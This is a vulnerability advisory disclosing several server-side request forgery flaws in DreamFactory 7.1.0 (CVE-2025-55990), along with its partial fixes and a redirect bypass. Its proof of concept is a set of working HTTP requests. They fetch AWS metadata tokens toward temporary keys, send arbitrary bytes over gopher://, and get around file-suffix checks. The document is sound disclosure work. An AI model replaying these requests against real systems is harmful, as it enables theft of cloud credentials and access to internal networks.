PTT-2025-008 – DreamFactory – Multiple Server-Side Request Forgery Vectors

CVE-ID: CVE-2025-55990

Credits:

Matei “Mal” Bădănoiu and Cătălin Ioviță of Pentest-Tools.com

Environment:

- DreamFactory version 7.1.0
- df-core version 1.0.6
- df-file version 0.9.0
- df-email version 0.13.0

CVSSv3: 6.8 Medium - AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Description:

During the testing of the DreamFactory application we have identified multiple endpoints that accept external URLs in order to perform import/export/upload/etc. actions on the web server.

As nothing restricts the servers that can be targeted via these components, attackers may leverage this behavior to launch Server-Side Request Forgery (SSRF) attacks by launching malicious HTTP or TCP requests to arbitrary internal or external web servers.

Requirements:

In order to perform this exploit, the user needs to have a role that grants access to at least one of the SSRF-vulnerable endpoints described in the Proof of Concept section.

Partial fix:

The DreamFactory developers:

- removed gopher from the allowed URL schemes via the following commit:
  - df-system versions ≥ 0.6.4

    https://github.com/dreamfactorysoftware/df-system/commit/d30da9c576abf403183f93b76420b7d6293c8190
- fixed the SSRF towards private or reserved IP addresses via the following commits:
  - df-system versions ≥ 0.6.4

    https://github.com/dreamfactorysoftware/df-system/commit/d30da9c576abf403183f93b76420b7d6293c8190
  - df-email versions ≥ 0.14.1

    https://github.com/dreamfactorysoftware/df-email/commit/e38e9f67bbd741ff76777f600a1a964088163c31

Note: An attacker can bypass the SSRF mitigation by pointing the DreamFactory application to an attacker-controlled server that responds with an HTTP 30x (e.g. 302, 307, etc.) Redirect and sets the Location header to a private or reserved IP address (e.g. 127.0.0.1, 169.254.0.0/16, etc.).

Proof of Concept:

We identified the following endpoints that can be leveraged to perform SSRF attacks during testing:

Vulnerable Component	Vulnerable Parameter	SSRF Type	Limitations	Potential Impact
HTTP Service "/api/v2/<HTTP_Service>"	base_url	HTTP any Method and Headers, Gopher Protocol	Can't send nullbytes over Gopher	HTTP - extract sensitive information (e.g. cloud tokens, content of internal web servers), Gopher - communicate with custom

				TCP protocols
Files Upload “/api/v2/files/”	url	HTTP - GET Based	Cannot control HTTP Request headers or body	HTTP - extract sensitive information (e.g. content of internal web servers)
Email Templates “/api/v2/system/email_template/<ID>”	attachment	HTTP - GET Based	Cannot control HTTP Request headers or body	HTTP - extract sensitive information (e.g. content of internal web servers)
Import CSV “/api/v2/system/import”	import_url	HTTP - GET Based	Cannot control HTTP Request headers or body, must end with “.cvs” but this requirement can be circumvented	HTTP - launch malicious GET request in blind
Import Package “/api/v2/system/package”	import_url	HTTP - GET Based	Cannot control HTTP Request headers or body, must end with “.zip” but this requirement can be circumvented	HTTP - launch malicious GET request in blind

HTTP Service:

Exfiltrate Cloud Metadata Tokens:

In this scenario we have set up the DreamFactory application in an AWS Cloud environment.

In order to perform a metadata request in the AWS environment, we need to meet the following conditions:

- We need to point the “base_url” to “http://169.254.169.254/latest/api/token”
- We need to insert the HTTP header “X-aws-ec2-metadata-token-ttl-seconds” in the request

Request - Create HTTP Service pointing to AWS Metadata v2 Endpoint:

```
PUT /api/v2/system/service/8 HTTP/1.1
Host: <AWS>
Content-Length: 792
X-DreamFactory-Session-Token: eyJ0***TRUNCATED***Vq5o
Content-Type: application/json
X-DreamFactory-API-Key:
6498a8ad1beb9d84d63035c5d1120c007fad6de706734db9689f8996707e0f7d

{"id":8,"name":"http","label":"http","description":"http","is_active":true,"type":"rws","mutable":true,"deletable":true,"created_date":"2025-06-17T08:44:52.000000Z","last_modified_date":"2025-06-17T08:44:52.000000Z","created_by_id":1,"last_modified_by_id":null,"config":{"service_id":8,"base_url":"http://169.254.169.254/latest/api/token","replace_link":false,"implements_access_list":false,"preserve_forward_trailing_slash":false,"options":null,"parameters":[],"headers":[{"name":"X-aws-ec2-metadata-token-ttl-seconds","value":"21600","pass_from_client":false,"action":31}],"cache_enabled":false,"cache_ttl":0,"content":"a"},"service_doc_by_service_id":{"service_id":8,"format":0,"content":"a","created_date":"2025-06-17T08:44:52.000000Z","last_modified_date":"2025-06-17T08:44:52.000000Z"}}
```

With the HTTP Service configured we will now need to perform a “PUT” request on the metadata endpoint. Thankfully the HTTP Service mirrors the HTTP method made by the client when sending the SSRF HTTP request.

Request - Make “PUT” request to obtain Metadata Token:

```
PUT /api/v2/http/ HTTP/1.1
Host: <AWS>
X-DreamFactory-Session-Token: eyJ0***TRUNCATED***Vq5o
X-DreamFactory-API-Key:
6498a8ad1beb9d84d63035c5d1120c007fad6de706734db9689f8996707e0f7d
Accept: */*
```

Response - Make “PUT” request to obtain Metadata Token:

```
HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Content-Length: 56
***TRUNCATED***
X-Aws-Ec2-Metadata-Token-Ttl-Seconds: 21600
Date: Tue, 17 Jun 2025 09:09:44 GMT
Server: EC2ws

AQAE***TRUNCATED***fbjgA==
```

With the metadata token obtained, we can again modify the HTTP Service and insert its value into the “X-Aws-Ec2-Metadata-Token” in order to use it with the final goal of obtaining an AWS Temporary Key.

Perform Gopher Requests:

Request - Create a Gopher HTTP Service:

```
PUT /api/v2/system/service/105 HTTP/1.1
Host: 208.85.23.18
X-DreamFactory-API-Key:
6498a8ad1beb9d84d63035c5d1120c007fad6de706734db9689f8996707e0f7d
X-DreamFactory-Session-Token: eyJ0***TRUNCATED***vmsU
Content-Type: application/json
Content-Length: 788

{"id":105,"name":"ssrf","label":"ssrf","description":null,"is_active":true,"type":"rws","mutable":true,"deletable":true,"created_date":"2025-06-13T13:42:16.000000Z","last_modified_date":"2025-06-13T13:42:16.000000Z","created_by_id":1,"last_modified_by_id":null,"config":{"service_id":105,"base_url":"gopher://<TARGET>/_%01%02%03%04%05%06%07%08%09%0a%0b%0c%0d%0e%0f%10%11%12%13%14%15%16%17%18%19%1a%1b%1c%1d%1e%1f%20%21%22%23%24%25%26%27%28%29%2a%2b%2c%2d%2e%2f%30%31%32%33%34%35%36%37%38%39%3a%3b%3c%3d%3e%3f%40%41%42%43%44%45%46%47%48%49%4a%4b%4c%4d%4e%4f%50%51%52%53%54%55%56%57%58%59%5a%5b%5c%5d%5e%5f%60%61%62%63%64%65%66%67%68%69%6a%6b%6c%6d%6e%6f%70%71%72%73%74%75%76%77%78%79%7a%7b%7c%7d%7e%7f%80%81%82%83%84%85%86%87%88%89%8a%8b%8c%8d%8e%8f%90%91%92%93%94%95%96%97%98%99%9a%9b%9c%9d%9e%9f%a0%a1%a2%a3%a4%a5%a6%a7%a8%a9%aa%ab%ac%ad%ae%af%b0%b1%b2%b3%b4%b5%b6%b7%b8%b9%ba%bb%bc%bd%be%bf%c0%c1%c2%c3%c4%c5%c6%c7%c8%c9%ca%cb%cc%cd%ce%cf%d0%d1%d2%d3%d4%d5%d6%d7%d8%d9%da%db%dc%dd%de%df%e0%e1%e2%e3%e4%e5%e6%e7%e8%e9%ea%eb%ec%ed%ee%ef%f0%f1%f2%f3%f4%f5%f6%f7%f8%f9%fa%fb%fc%fd%fe%ff","replace_link":false,"implements_access_list":false,"preserve_forward_trailing_slash":false,"options":{},"parameters":[],"headers":[],"cache_enabled":false,"cache_ttl":0,"content":"aaa"},"service_doc_by_service_id":{"service_id":105,"format":0,"content":"aaa","created_date":"2025-06-13T13:42:16.000000Z","last_modified_date":"2025-06-13T13:42:16.000000Z"}}
```

Note: The libCurl GOPHER protocol supports any binary character besides null bytes (“%00”).

Request - Trigger the Gopher Request:

```
GET /api/v2/ssrf HTTP/1.1
Host: 208.85.23.18
X-DreamFactory-API-Key:
6498a8ad1beb9d84d63035c5d1120c007fad6de706734db9689f8996707e0f7d
X-DreamFactory-Session-Token: eyJ0***TRUNCATED***vmsU
```

Example of what the victim would receive:

```
root@plane-test:~# nc -nlvkp 8080 | xxd
Listening on 0.0.0.0 8080
Connection received on 172.23.0.6 49922
00000000: 0102 0304 0506 0708 090a 0b0c 0d0e 0f10  ................
00000010: 1112 1314 1516 1718 191a 1b1c 1d1e 1f20  ............... 
00000020: 2122 2324 2526 2728 292a 2b2c 2d2e 2f30  !"#$%&'()*+,-./0
00000030: 3132 3334 3536 3738 393a 3b3c 3d3e 3f40  123456789:;<=>?@
00000040: 4142 4344 4546 4748 494a 4b4c 4d4e 4f50  ABCDEFGHIJKLMNOP
00000050: 5152 5354 5556 5758 595a 5b5c 5d5e 5f60  QRSTUVWXYZ[\]^_`
00000060: 6162 6364 6566 6768 696a 6b6c 6d6e 6f70  abcdefghijklmnop
00000070: 7172 7374 7576 7778 797a 7b7c 7d7e 7f80  qrstuvwxyz{|}~..
00000080: 8182 8384 8586 8788 898a 8b8c 8d8e 8f90  ................
00000090: 9192 9394 9596 9798 999a 9b9c 9d9e 9fa0  ................
000000a0: a1a2 a3a4 a5a6 a7a8 a9aa abac adae afb0  ................
000000b0: b1b2 b3b4 b5b6 b7b8 b9ba bbbc bdbe bfc0  ................
000000c0: c1c2 c3c4 c5c6 c7c8 c9ca cbcc cdce cfd0  ................
000000d0: d1d2 d3d4 d5d6 d7d8 d9da dbdc ddde dfe0  ................
000000e0: e1e2 e3e4 e5e6 e7e8 e9ea ebec edee eff0  ................
000000f0: f1f2 f3f4 f5f6 f7f8 f9fa fbfc fdfe ff0d  ................
```

File Upload:

Request:

```
POST /api/v2/files/?url=http://<TARGET>/arbitrary/path?test=ssrf HTTP/1.1
Host: 208.85.23.18
X-DreamFactory-API-Key:
6498a8ad1beb9d84d63035c5d1120c007fad6de706734db9689f8996707e0f7d
X-DreamFactory-Session-Token: eyJ0***TRUNCATED***vmsU
Content-Length: 0
```

Email Templates:

Request - Set the Email Attachment:

```
PUT /api/v2/system/email_template/3 HTTP/1.1
Host: 208.85.23.18
X-DreamFactory-API-Key:
6498a8ad1beb9d84d63035c5d1120c007fad6de706734db9689f8996707e0f7d
X-DreamFactory-Session-Token: eyJ0***TRUNCATED***vmsU
Content-Type: application/json
Content-Length: 1230

{"name":"Password Reset Default","description":"Email sent to users following a request to reset their
password.","to":null,"cc":null,"bcc":null,"subject":"[DF] Password
Reset","attachment":"http://<TARGET>/arbitrary/path?test=ssrf","body_html":"***TRUNCATED***",
"from_name":"DO NOT
REPLY","from_email":"no-reply@dreamfactory.com","reply_to_name":null,"reply_to_email":null}
```

Request - Trigger the SSRF via Forgot Password:

```
POST /api/v2/system/admin/password?reset=true HTTP/1.1
Host: 208.85.23.18
X-DreamFactory-API-Key:
6498a8ad1beb9d84d63035c5d1120c007fad6de706734db9689f8996707e0f7d
Content-Length: 30
Content-Type: application/json;charset=UTF-8

{"email": "root@smtp.ptt.ort"}
```

Import CSV:

Although the import component requires that the URL end with the ".csv" suffix, we can isolate this from the malicious request by adding it as an inconsequential GET parameter.

Request:

```
POST /api/v2/system/import?import_url=http://<TARGET>/arbitrary/path?test=ssrf%26.csv HTTP/1.1
Host: 208.85.23.18
X-DreamFactory-Session-Token: eyJ0***TRUNCATED***vmsU
X-DreamFactory-API-Key: 36fda24fe5588fa4285ac6c6c2fdfbdb6b6bc9834699774c9bf777f706d05a88
```

Note: "%26" represents the URL encoded value of the "&" character.

Import Package:

Although the package component requires that the URL end with the ".zip" suffix, we can isolate this from the malicious request by adding it as an inconsequential GET parameter.

Request:

```
POST /api/v2/system/package?import_url=http://<TARGET>/arbitrary/path?test=ssrf%26.zip HTTP/1.1
Host: 208.85.23.18
X-DreamFactory-Session-Token: eyJ0***TRUNCATED***vmsU
X-DreamFactory-API-Key: 36fda24fe5588fa4285ac6c6c2fdfbdb6b6bc9834699774c9bf777f706d05a88
```

Note: "%26" represents the URL encoded value of the "&" character.

*From vulnerability scans to proof, **Pentest-Tools.com** gives 2,000+ security teams in 119 countries the speed, accuracy, and coverage to confidently validate and mitigate risks across their infrastructure (network, cloud, web apps, APIs).*